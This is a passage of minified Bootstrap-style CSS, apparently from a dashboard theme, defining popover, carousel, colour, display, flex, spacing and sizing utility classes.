-1)}.bs-popover-auto[x-placement^=top]>.arrow::before,.bs-popover-top>.arrow::before{bottom:0;border-width:.5rem .5rem 0;border-top-color:transparent}.bs-popover-auto[x-placement^=top]>.arrow::after,.bs-popover-top>.arrow::after{bottom:1px;border-width:.5rem .5rem 0;border-top-color:#fff}.bs-popover-auto[x-placement^=right],.bs-popover-right{margin-left:.5rem}.bs-popover-auto[x-placement^=right]>.arrow,.bs-popover-right>.arrow{left:calc((.5rem + 1px) * -1);width:.5rem;height:1rem;margin:.4375rem 0}.bs-popover-auto[x-placement^=right]>.arrow::before,.bs-popover-right>.arrow::before{left:0;border-width:.5rem .5rem .5rem 0;border-right-color:transparent}.bs-popover-auto[x-placement^=right]>.arrow::after,.bs-popover-right>.arrow::after{left:1px;border-width:.5rem .5rem .5rem 0;border-right-color:#fff}.bs-popover-auto[x-placement^=bottom],.bs-popover-bottom{margin-top:.5rem}.bs-popover-auto[x-placement^=bottom]>.arrow,.bs-popover-bottom>.arrow{top:calc((.5rem + 1px) * -1)}.bs-popover-auto[x-placement^=bottom]>.arrow::before,.bs-popover-bottom>.arrow::before{top:0;border-width:0 .5rem .5rem .5rem;border-bottom-color:transparent}.bs-popover-auto[x-placement^=bottom]>.arrow::after,.bs-popover-bottom>.arrow::after{top:1px;border-width:0 .5rem .5rem .5rem;border-bottom-color:#fff}.bs-popover-auto[x-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-.5rem;content:'';border-bottom:1px solid #fff}.bs-popover-auto[x-placement^=left],.bs-popover-left{margin-right:.5rem}.bs-popover-auto[x-placement^=left]>.arrow,.bs-popover-left>.arrow{right:calc((.5rem + 1px) * -1);width:.5rem;height:1rem;margin:.4375rem 0}.bs-popover-auto[x-placement^=left]>.arrow::before,.bs-popover-left>.arrow::before{right:0;border-width:.5rem 0 .5rem .5rem;border-left-color:transparent}.bs-popover-auto[x-placement^=left]>.arrow::after,.bs-popover-left>.arrow::after{right:1px;border-width:.5rem 0 .5rem .5rem;border-left-color:#fff}.popover-header{font-size:1rem;margin-bottom:0;padding:.5rem .95rem;color:#32325d;border-bottom:1px solid #f2f2f2;border-top-left-radius:calc(.4375rem - 1px);border-top-right-radius:calc(.4375rem - 1px);background-color:#fff}.popover-header:empty{display:none}.popover-body{padding:.5rem .95rem;color:#525f7f}.carousel{position:relative}.carousel.pointer-event{touch-action:pan-y}.carousel-inner{position:relative;overflow:hidden;width:100%}.carousel-inner::after{display:block;clear:both;content:''}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden}@media (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-right,.carousel-item-next:not(.carousel-item-left){transform:translateX(100%)}.active.carousel-item-left,.carousel-item-prev:not(.carousel-item-right){transform:translateX(-100%)}.carousel-fade .carousel-item{transition-property:opacity;transform:none;opacity:0}.carousel-fade .carousel-item-next.carousel-item-left,.carousel-fade .carousel-item-prev.carousel-item-right,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{z-index:0;transition:0s .6s opacity;opacity:0}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;z-index:1;top:0;bottom:0;display:flex;width:15%;transition:opacity .15s ease;text-align:center;opacity:.5;color:#fff;align-items:center;justify-content:center}@media (prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{transition:none}}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{text-decoration:none;opacity:.9;color:#fff;outline:0}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:20px;height:20px;background:no-repeat 50%/100% 100%}.carousel-control-prev-icon{background-image:url('data:image/svg+xml,%3csvg xmlns=\'http://www.w3.org/2000/svg\' fill=\'%23fff\' viewBox=\'0 0 8 8\'%3e%3cpath d=\'M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z\'/%3e%3c/svg%3e')}.carousel-control-next-icon{background-image:url('data:image/svg+xml,%3csvg xmlns=\'http://www.w3.org/2000/svg\' fill=\'%23fff\' viewBox=\'0 0 8 8\'%3e%3cpath d=\'M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z\'/%3e%3c/svg%3e')}.carousel-indicators{position:absolute;z-index:15;right:0;bottom:0;left:0;display:flex;margin-right:15%;margin-left:15%;padding-left:0;list-style:none;justify-content:center}.carousel-indicators li{box-sizing:content-box;width:30px;height:3px;margin-right:3px;margin-left:3px;cursor:pointer;transition:opacity .6s ease;text-indent:-999px;opacity:.5;border-top:10px solid transparent;border-bottom:10px solid transparent;background-color:#fff;background-clip:padding-box;flex:0 1 auto}@media (prefers-reduced-motion:reduce){.carousel-indicators li{transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;z-index:10;right:15%;bottom:20px;left:15%;padding-top:20px;padding-bottom:20px;text-align:center;color:#fff}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.bg-primary{background-color:#5e72e4!important}a.bg-primary:focus,a.bg-primary:hover,button.bg-primary:focus,button.bg-primary:hover{background-color:#324cdd!important}.bg-secondary{background-color:#f7fafc!important}a.bg-secondary:focus,a.bg-secondary:hover,button.bg-secondary:focus,button.bg-secondary:hover{background-color:#d2e3ee!important}.bg-success{background-color:#2dce89!important}a.bg-success:focus,a.bg-success:hover,button.bg-success:focus,button.bg-success:hover{background-color:#24a46d!important}.bg-info{background-color:#11cdef!important}a.bg-info:focus,a.bg-info:hover,button.bg-info:focus,button.bg-info:hover{background-color:#0da5c0!important}.bg-warning{background-color:#fb6340!important}a.bg-warning:focus,a.bg-warning:hover,button.bg-warning:focus,button.bg-warning:hover{background-color:#fa3a0e!important}.bg-danger{background-color:#f5365c!important}a.bg-danger:focus,a.bg-danger:hover,button.bg-danger:focus,button.bg-danger:hover{background-color:#ec0c38!important}.bg-light{background-color:#adb5bd!important}a.bg-light:focus,a.bg-light:hover,button.bg-light:focus,button.bg-light:hover{background-color:#919ca6!important}.bg-dark{background-color:#212529!important}a.bg-dark:focus,a.bg-dark:hover,button.bg-dark:focus,button.bg-dark:hover{background-color:#0a0c0d!important}.bg-default{background-color:#172b4d!important}a.bg-default:focus,a.bg-default:hover,button.bg-default:focus,button.bg-default:hover{background-color:#0b1526!important}.bg-white{background-color:#fff!important}a.bg-white:focus,a.bg-white:hover,button.bg-white:focus,button.bg-white:hover{background-color:#e6e6e6!important}.bg-neutral{background-color:#fff!important}a.bg-neutral:focus,a.bg-neutral:hover,button.bg-neutral:focus,button.bg-neutral:hover{background-color:#e6e6e6!important}.bg-darker{background-color:#000!important}a.bg-darker:focus,a.bg-darker:hover,button.bg-darker:focus,button.bg-darker:hover{background-color:#000!important}.bg-white{background-color:#fff!important}.bg-transparent{background-color:transparent!important}.border{border:1px solid #e9ecef!important}.border-top{border-top:1px solid #e9ecef!important}.border-right{border-right:1px solid #e9ecef!important}.border-bottom{border-bottom:1px solid #e9ecef!important}.border-left{border-left:1px solid #e9ecef!important}.border-0{border:0!important}.border-top-0{border-top:0!important}.border-right-0{border-right:0!important}.border-bottom-0{border-bottom:0!important}.border-left-0{border-left:0!important}.border-primary{border-color:#5e72e4!important}.border-secondary{border-color:#f7fafc!important}.border-success{border-color:#2dce89!important}.border-info{border-color:#11cdef!important}.border-warning{border-color:#fb6340!important}.border-danger{border-color:#f5365c!important}.border-light{border-color:#adb5bd!important}.border-dark{border-color:#212529!important}.border-default{border-color:#172b4d!important}.border-white{border-color:#fff!important}.border-neutral{border-color:#fff!important}.border-darker{border-color:#000!important}.border-white{border-color:#fff!important}.rounded-sm{border-radius:.25rem!important}.rounded{border-radius:.375rem!important}.rounded-top{border-top-left-radius:.375rem!important;border-top-right-radius:.375rem!important}.rounded-right{border-top-right-radius:.375rem!important;border-bottom-right-radius:.375rem!important}.rounded-bottom{border-bottom-right-radius:.375rem!important;border-bottom-left-radius:.375rem!important}.rounded-left{border-top-left-radius:.375rem!important;border-bottom-left-radius:.375rem!important}.rounded-lg{border-radius:.4375rem!important}.avatar.rounded-circle img,.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:50rem!important}.rounded-0{border-radius:0!important}.clearfix::after{display:block;clear:both;content:''}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:flex!important}.d-inline-flex{display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:flex!important}.d-sm-inline-flex{display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:flex!important}.d-md-inline-flex{display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:flex!important}.d-lg-inline-flex{display:inline-flex!important}}@media (min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:flex!important}.d-xl-inline-flex{display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:flex!important}.d-print-inline-flex{display:inline-flex!important}}.embed-responsive{position:relative;display:block;overflow:hidden;width:100%;padding:0}.embed-responsive::before{display:block;content:''}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.85714%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.embed-responsive-21by9::before{padding-top:42.85714%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{flex-direction:row!important}.flex-column{flex-direction:column!important}.flex-row-reverse{flex-direction:row-reverse!important}.flex-column-reverse{flex-direction:column-reverse!important}.flex-wrap{flex-wrap:wrap!important}.flex-nowrap{flex-wrap:nowrap!important}.flex-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-fill{flex:1 1 auto!important}.flex-grow-0{flex-grow:0!important}.flex-grow-1{flex-grow:1!important}.flex-shrink-0{flex-shrink:0!important}.flex-shrink-1{flex-shrink:1!important}.justify-content-start{justify-content:flex-start!important}.justify-content-end{justify-content:flex-end!important}.justify-content-center{justify-content:center!important}.justify-content-between{justify-content:space-between!important}.justify-content-around{justify-content:space-around!important}.align-items-start{align-items:flex-start!important}.align-items-end{align-items:flex-end!important}.align-items-center{align-items:center!important}.align-items-baseline{align-items:baseline!important}.align-items-stretch{align-items:stretch!important}.align-content-start{align-content:flex-start!important}.align-content-end{align-content:flex-end!important}.align-content-center{align-content:center!important}.align-content-between{align-content:space-between!important}.align-content-around{align-content:space-around!important}.align-content-stretch{align-content:stretch!important}.align-self-auto{align-self:auto!important}.align-self-start{align-self:flex-start!important}.align-self-end{align-self:flex-end!important}.align-self-center{align-self:center!important}.align-self-baseline{align-self:baseline!important}.align-self-stretch{align-self:stretch!important}@media (min-width:576px){.flex-sm-row{flex-direction:row!important}.flex-sm-column{flex-direction:column!important}.flex-sm-row-reverse{flex-direction:row-reverse!important}.flex-sm-column-reverse{flex-direction:column-reverse!important}.flex-sm-wrap{flex-wrap:wrap!important}.flex-sm-nowrap{flex-wrap:nowrap!important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-sm-fill{flex:1 1 auto!important}.flex-sm-grow-0{flex-grow:0!important}.flex-sm-grow-1{flex-grow:1!important}.flex-sm-shrink-0{flex-shrink:0!important}.flex-sm-shrink-1{flex-shrink:1!important}.justify-content-sm-start{justify-content:flex-start!important}.justify-content-sm-end{justify-content:flex-end!important}.justify-content-sm-center{justify-content:center!important}.justify-content-sm-between{justify-content:space-between!important}.justify-content-sm-around{justify-content:space-around!important}.align-items-sm-start{align-items:flex-start!important}.align-items-sm-end{align-items:flex-end!important}.align-items-sm-center{align-items:center!important}.align-items-sm-baseline{align-items:baseline!important}.align-items-sm-stretch{align-items:stretch!important}.align-content-sm-start{align-content:flex-start!important}.align-content-sm-end{align-content:flex-end!important}.align-content-sm-center{align-content:center!important}.align-content-sm-between{align-content:space-between!important}.align-content-sm-around{align-content:space-around!important}.align-content-sm-stretch{align-content:stretch!important}.align-self-sm-auto{align-self:auto!important}.align-self-sm-start{align-self:flex-start!important}.align-self-sm-end{align-self:flex-end!important}.align-self-sm-center{align-self:center!important}.align-self-sm-baseline{align-self:baseline!important}.align-self-sm-stretch{align-self:stretch!important}}@media (min-width:768px){.flex-md-row{flex-direction:row!important}.flex-md-column{flex-direction:column!important}.flex-md-row-reverse{flex-direction:row-reverse!important}.flex-md-column-reverse{flex-direction:column-reverse!important}.flex-md-wrap{flex-wrap:wrap!important}.flex-md-nowrap{flex-wrap:nowrap!important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-md-fill{flex:1 1 auto!important}.flex-md-grow-0{flex-grow:0!important}.flex-md-grow-1{flex-grow:1!important}.flex-md-shrink-0{flex-shrink:0!important}.flex-md-shrink-1{flex-shrink:1!important}.justify-content-md-start{justify-content:flex-start!important}.justify-content-md-end{justify-content:flex-end!important}.justify-content-md-center{justify-content:center!important}.justify-content-md-between{justify-content:space-between!important}.justify-content-md-around{justify-content:space-around!important}.align-items-md-start{align-items:flex-start!important}.align-items-md-end{align-items:flex-end!important}.align-items-md-center{align-items:center!important}.align-items-md-baseline{align-items:baseline!important}.align-items-md-stretch{align-items:stretch!important}.align-content-md-start{align-content:flex-start!important}.align-content-md-end{align-content:flex-end!important}.align-content-md-center{align-content:center!important}.align-content-md-between{align-content:space-between!important}.align-content-md-around{align-content:space-around!important}.align-content-md-stretch{align-content:stretch!important}.align-self-md-auto{align-self:auto!important}.align-self-md-start{align-self:flex-start!important}.align-self-md-end{align-self:flex-end!important}.align-self-md-center{align-self:center!important}.align-self-md-baseline{align-self:baseline!important}.align-self-md-stretch{align-self:stretch!important}}@media (min-width:992px){.flex-lg-row{flex-direction:row!important}.flex-lg-column{flex-direction:column!important}.flex-lg-row-reverse{flex-direction:row-reverse!important}.flex-lg-column-reverse{flex-direction:column-reverse!important}.flex-lg-wrap{flex-wrap:wrap!important}.flex-lg-nowrap{flex-wrap:nowrap!important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-lg-fill{flex:1 1 auto!important}.flex-lg-grow-0{flex-grow:0!important}.flex-lg-grow-1{flex-grow:1!important}.flex-lg-shrink-0{flex-shrink:0!important}.flex-lg-shrink-1{flex-shrink:1!important}.justify-content-lg-start{justify-content:flex-start!important}.justify-content-lg-end{justify-content:flex-end!important}.justify-content-lg-center{justify-content:center!important}.justify-content-lg-between{justify-content:space-between!important}.justify-content-lg-around{justify-content:space-around!important}.align-items-lg-start{align-items:flex-start!important}.align-items-lg-end{align-items:flex-end!important}.align-items-lg-center{align-items:center!important}.align-items-lg-baseline{align-items:baseline!important}.align-items-lg-stretch{align-items:stretch!important}.align-content-lg-start{align-content:flex-start!important}.align-content-lg-end{align-content:flex-end!important}.align-content-lg-center{align-content:center!important}.align-content-lg-between{align-content:space-between!important}.align-content-lg-around{align-content:space-around!important}.align-content-lg-stretch{align-content:stretch!important}.align-self-lg-auto{align-self:auto!important}.align-self-lg-start{align-self:flex-start!important}.align-self-lg-end{align-self:flex-end!important}.align-self-lg-center{align-self:center!important}.align-self-lg-baseline{align-self:baseline!important}.align-self-lg-stretch{align-self:stretch!important}}@media (min-width:1200px){.flex-xl-row{flex-direction:row!important}.flex-xl-column{flex-direction:column!important}.flex-xl-row-reverse{flex-direction:row-reverse!important}.flex-xl-column-reverse{flex-direction:column-reverse!important}.flex-xl-wrap{flex-wrap:wrap!important}.flex-xl-nowrap{flex-wrap:nowrap!important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-xl-fill{flex:1 1 auto!important}.flex-xl-grow-0{flex-grow:0!important}.flex-xl-grow-1{flex-grow:1!important}.flex-xl-shrink-0{flex-shrink:0!important}.flex-xl-shrink-1{flex-shrink:1!important}.justify-content-xl-start{justify-content:flex-start!important}.justify-content-xl-end{justify-content:flex-end!important}.justify-content-xl-center{justify-content:center!important}.justify-content-xl-between{justify-content:space-between!important}.justify-content-xl-around{justify-content:space-around!important}.align-items-xl-start{align-items:flex-start!important}.align-items-xl-end{align-items:flex-end!important}.align-items-xl-center{align-items:center!important}.align-items-xl-baseline{align-items:baseline!important}.align-items-xl-stretch{align-items:stretch!important}.align-content-xl-start{align-content:flex-start!important}.align-content-xl-end{align-content:flex-end!important}.align-content-xl-center{align-content:center!important}.align-content-xl-between{align-content:space-between!important}.align-content-xl-around{align-content:space-around!important}.align-content-xl-stretch{align-content:stretch!important}.align-self-xl-auto{align-self:auto!important}.align-self-xl-start{align-self:flex-start!important}.align-self-xl-end{align-self:flex-end!important}.align-self-xl-center{align-self:center!important}.align-self-xl-baseline{align-self:baseline!important}.align-self-xl-stretch{align-self:stretch!important}}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}@media (min-width:576px){.float-sm-left{float:left!important}.float-sm-right{float:right!important}.float-sm-none{float:none!important}}@media (min-width:768px){.float-md-left{float:left!important}.float-md-right{float:right!important}.float-md-none{float:none!important}}@media (min-width:992px){.float-lg-left{float:left!important}.float-lg-right{float:right!important}.float-lg-none{float:none!important}}@media (min-width:1200px){.float-xl-left{float:left!important}.float-xl-right{float:right!important}.float-xl-none{float:none!important}}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.fixed-top{position:fixed;z-index:1030;top:0;right:0;left:0}.fixed-bottom{position:fixed;z-index:1030;right:0;bottom:0;left:0}@supports ((position:-webkit-sticky) or (position:sticky)){.sticky-top{position:-webkit-sticky;position:sticky;z-index:1020;top:0}}.sr-only{position:absolute;overflow:hidden;clip:rect(0,0,0,0);width:1px;height:1px;padding:0;white-space:nowrap;border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;overflow:visible;clip:auto;width:auto;height:auto;white-space:normal}.shadow-sm{box-shadow:0 0 .5rem rgba(136,152,170,.075)!important}.shadow{box-shadow:0 0 2rem 0 rgba(136,152,170,.15)!important}.shadow-lg{box-shadow:0 0 3rem rgba(136,152,170,.175)!important}.shadow-none{box-shadow:none!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mw-100{max-width:100%!important}.mh-100{max-height:100%!important}.min-vw-100{min-width:100vw!important}.min-vh-100{min-height:100vh!important}.vw-100{width:100vw!important}.vh-100{height:100vh!important}.stretched-link::after{position:absolute;z-index:1;top:0;right:0;bottom:0;left:0;content:'';pointer-events:auto;background-color:rgba(0,0,0,0)}.m-0{margin:0!important}.mt-0,.my-0{margin-top:0!important}.mr-0,.mx-0{margin-right:0!important}.mb-0,.my-0{margin-bottom:0!important}.ml-0,.mx-0{margin-left:0!important}.m-1{margin:.25rem!important}.mt-1,.my-1{margin-top:.25rem!important}.mr-1,.mx-1{margin-right:.25rem!important}.mb-1,.my-1{margin-bottom:.25rem!important}.ml-1,.mx-1{margin-left:.25rem!important}.m-2{margin:.5rem!important}.mt-2,.my-2{margin-top:.5rem!important}.mr-2,.mx-2{margin-right:.5rem!important}.mb-2,.my-2{margin-bottom:.5rem!important}.ml-2,.mx-2{margin-left:.5rem!important}.m-3{margin:1rem!important}.mt-3,.my-3{margin-top:1rem!important}.mr-3,.mx-3{margin-right:1rem!important}.mb-3,.my-3{margin-bottom:1rem!important}.ml-3,.mx-3{margin-left:1rem!important}.m-4{margin:1.5rem!important}.mt-4,.my-4{margin-top:1.5rem!important}.mr-4,.mx-4{margin-right:1.5rem!important}.mb-4,.my-4{margin-bottom:1.5rem!important}.ml-4,.mx-4{margin-left:1.5rem!important}.m-5{margin:3rem!important}.mt-5,.my-5{margin-top:3rem!important}.mr-5,.mx-5{margin-right:3rem!important}.mb-5,.my-5{margin-bottom:3rem!important}.ml-5,.mx-5{margin-left:3rem!important}.m--9{margin:-10rem!important}.mt--9,.my--9{margin-top:-10rem!important}.mr--9,.mx--9{margin-right:-10rem!important}.mb--9,.my--9{margin-bottom:-10rem!important}.ml--9,.mx--9{margin-left:-10rem!important}.m--8{margin:-8rem!important}.mt--8,.my--8{margin-top:-8rem!important}.mr--8,.mx--8{margin-right:-8rem!important}.mb--8,.my--8{margin-bottom:-8rem!important}.ml--8,.mx--8{margin-left:-8rem!important}.m--7{margin:-6rem!important}.mt--7,.my--7{margin-top:-6rem!important}.mr--7,.mx--7{margin-right:-6rem!important}.mb--7,.my--7{margin-bottom:-6rem!important}.ml--7,.mx--7{margin-left:-6rem!important}.m--6{margin:-4.5rem!important}.mt--6,.my--6{margin-top:-4.5rem!important}.mr--6,.mx--6{margin-right:-4.5rem!important}.mb--6,.my--6{margin-bottom:-4.5rem!important}.ml--6,.mx--6{margin-left:-4.5rem!important}.m--5{margin:-3rem!important}.mt--5,.my--5{margin-top:-3rem!important}.mr--5,.mx--5{margin-right:-3rem!important}.mb--5,.my--5{margin-bottom:-3rem!important}.ml--5,.mx--5{margin-left:-3rem!important}.m--4{margin:-1.5rem!important}.mt--4,.my--4{margin-top:-1.5rem!important}.mr--4,.mx--4{margin-right:-1.5rem!important}.mb--4,.my--4{margin-bottom:-1.5rem!important}.ml--4,.mx--4{margin-left:-1.5rem!important}.m--3{margin:-1rem!important}.mt--3,.my--3{margin-top:-1rem!important}.mr--3,.mx--3{margin-right:-1rem!important}.mb--3,.my--3{margin-bottom:-1rem!important}.ml--3,.mx--3{margin-left:-1rem!important}.m--2{margin:-.5rem!important}.mt--2,.my--2{margin-top:-.5rem!important}.mr--2,.mx--2{margin-right:-.5rem!important}.mb--2,.my--2{margin-bottom:-.5rem!important}.ml--2,.mx--2{margin-left:-.5rem!important}.m--1{margin:-.25rem!important}.mt--1,.my--1{margin-top:-.25rem!important}.mr--1,.mx--1{margin-right:-.25rem!important}.mb--1,.my--1{margin-bottom:-.25rem!important}.ml--1,.mx--1{margin-left:-.25rem!important}.m-6{margin:4.5rem!important}.mt-6,.my-6{margin-top:4.5rem!important}.mr-6,.mx-6{margin-right:4.5rem!important}.mb-6,.my-6{margin-bottom:4.5rem!important}.ml-6,.mx-6{margin-left:4.5rem!important}.m-7{margin:6rem!important}.mt-7,.my-7{margin-top:6rem!important}.mr-7,.mx-7{margin-right:6rem!important}.mb-7,.my-7{margin-bottom:6rem!important}.ml-7,.mx-7{margin-left:6rem!important}.m-8{margin:8rem!important}.mt-8,.my-8{margin-top:8rem!important}.mr-8,.mx-8{margin-right:8rem!important}.mb-8,.my-8{margin-bottom:8rem!important}.ml-8,.mx-8{margin-left:8rem!important}.m-9{margin:10rem!important}.mt-9,.my-9{margin-top:10rem!important}.mr-9,.mx-9{margin-right:10rem!important}.mb-9,.my-9{margin-bottom:10rem!important}.ml-9,.mx-9{margin-left:10rem!important}.p-0{padding:0!important}.pt-0,.py-0{padding-top:0!important}.pr-0,.px-0{padding-right:0!important}.pb-0,.py-0{padding-bottom:0!important}.pl-0,.px-0{padding-left:0!important}.p-1{padding:.25rem!important}.pt-1,.py-1{padding-top:.25rem!important}.pr-1,.px-1{padding-right:.25rem!important}.pb-1,.py-1{padding-bottom:.25rem!important}.pl-1,.px-1{padding-left:.25rem!important}.p-2{padding:.5rem!important}.pt-2,.py-2{padding-top:.5rem!important}.pr-2,.px-2{padding-right:.5rem!important}.pb-2,.py-2{padding-bottom:.5rem!important}.pl-2,.px-2{padding-left:.5rem!important}.p-3{padding:1rem!important}.pt-3,.py-3{padding-top:1rem!important}.pr-3,.px-3{padding-right:1rem!important}.pb-3,.py-3{padding-bottom:1rem!important}.pl-3,.px-3{padding-left:1rem!important}.p-4{padding:1.5rem!important}.pt-4,.py-4{padding-top:1.5rem!important}.pr-4,.px-4{padding-right:1.5rem!important}.pb-4,.py-4{padding-bottom:1.5rem!important}.pl-4,.px-4{padding-left:1.5rem!important}.p-5{padding:3rem!important}.pt-5,.py-5{padding-top:3rem!important}.pr-5,.px-5{padding-right:3rem!important}.pb-5,.py-5{padding-bottom:3rem!important}.pl-5,.px-5{padding-left:3rem!important}.p-6{padding:4.5rem!important}.pt-6,.py-6{padding-top:4.5rem!important}.pr-6,.px-6{padding-right:4.5rem!important}.pb-6,.py-6{padding-bottom:4.5rem!important}.pl-6,.px-6{padding-left:4.5rem!important}.p-7{padding:6rem!important}.pt-7,.py-7{padding-top:6rem!important}.pr-7,.px-7{padding-right:6rem!important}.pb-7,.py-7{padding-bottom:6rem!important}.pl-7,.px-7{padding-left:6rem!important}.p-8{padding:8rem!important}.pt-8,.py-8{padding-top:8rem!important}.pr-8,.px-8{padding-right:8rem!important}.pb-8,.py-8{padding-bottom:8rem!important}.pl-8,.px-8{padding-left:8rem!important}.p-9{padding:10rem!important}.pt-9,.py-9{padding-top:10rem!important}.pr-9,.px-9{padding-right:10rem!important}.pb-9,.py-9{padding-bottom:10rem!important}.pl-9,.px-9{padding-left:10rem!important}.m-n1{margin:-.25rem!important}.mt-n1,.my-n1{margin-top:-.25rem!important}.mr-n1,.mx-n1{margin-right:-.25rem!important}.mb-n1,.my-n1{margin-bottom:-.25rem!important}.ml-n1,.mx-n1{margin-left:-.25rem!important}.m-n2{margin:-.5rem!important}.mt-n2,.my-n2{margin-top:-.5rem!important}.mr-n2,.mx-n2{margin-right:-.5rem!important}.mb-n2,.my-n2{margin-bottom:-.5rem!important}.ml-n2,.mx-n2{margin-left:-.5rem!important}.m-n3{margin:-1rem!important}.mt-n3,.my-n3{margin-top:-1rem!important}.mr-n3,.mx-n3{margin-right:-1rem!important}.mb-n3,.my-n3{margin-bottom:-1rem!important}.ml-n3,.mx-n3{margin-left:-1rem!important}.m-n4{margin:-1.5rem!important}.mt-n4,.my-n4{margin-top:-1.5rem!important}.mr-n4,.mx-n4{margin-right:-1.5rem!important}.mb-n4,.my-n4{margin-bottom:-1.5rem!important}.ml-n4,.mx-n4{margin-left:-1.5rem!important}.m-n5{margin:-3rem!important}.mt-n5,.my-n5{margin-top:-3rem!important}.mr-n5,.mx-n5{margin-right:-3rem!important}.mb-n5,.my-n5{margin-bottom:-3rem!important}.ml-n5,.mx-n5{margin-left:-3rem!important}.m-n-9{margin:10rem!important}.mt-n-9,.my-n-9{margin-top:10rem!important}.mr-n-9,.mx-n-9{margin-right:10rem!important}.mb-n-9,.my-n-9{margin-bottom:10rem!important}.ml-n-9,.mx-n-9{margin-left:10rem!important}.m-n-8{margin:8rem!important}.mt-n-8,.my-n-8{margin-top:8rem!important}.mr-n-8,.mx-n-8{margin-right:8rem!important}.mb-n-8,.my-n-8{margin-bottom:8rem!important}.ml-n-8,.mx-n-8{margin-left:8rem!important}.m-n-7{margin:6rem!important}.mt-n-7,.my-n-7{margin-top:6rem!important}.mr-n-7,.mx-n-7{margin-right:6rem!important}.mb-n-7,.my-n-7{margin-bottom:6rem!important}.ml-n-7,.mx-n-7{margin-left:6rem!important}.m-n-6{margin:4.5rem!important}.mt-n-6,.my-n-6{margin-top:4.5rem!important}.mr-n-6,.mx-n-6{margin-right:4.5rem!important}.mb-n-6,.my-n-6{margin-bottom:4.5rem!important}.ml-n-6,.mx-n-6{margin-left:4.5rem!important}.m-n-5{margin:3rem!important}.mt-n-5,.my-n-5{margin-top:3rem!important}.mr-n-5,.mx-n-5{margin-right:3rem!important}.mb-n-5,.my-n-5{margin-bottom:3rem!important}.ml-n-5,.mx-n-5{margin-left:3rem!important}.m-n-4{margin:1.5rem!important}.mt-n-4,.my-n-4{margin-top:1.5rem!important}.mr-n-4,.mx-n-4{margin-right:1.5rem!important}.mb-n-4,.my-n-4{margin-bottom:1.5rem!important}.ml-n-4,.mx-n-4{margin-left:1.5rem!important}.m-n-3{margin:1rem!important}.mt-n-3,.my-n-3{margin-top:1rem!important}.mr-n-3,.mx-n-3{margin-right:1rem!important}.m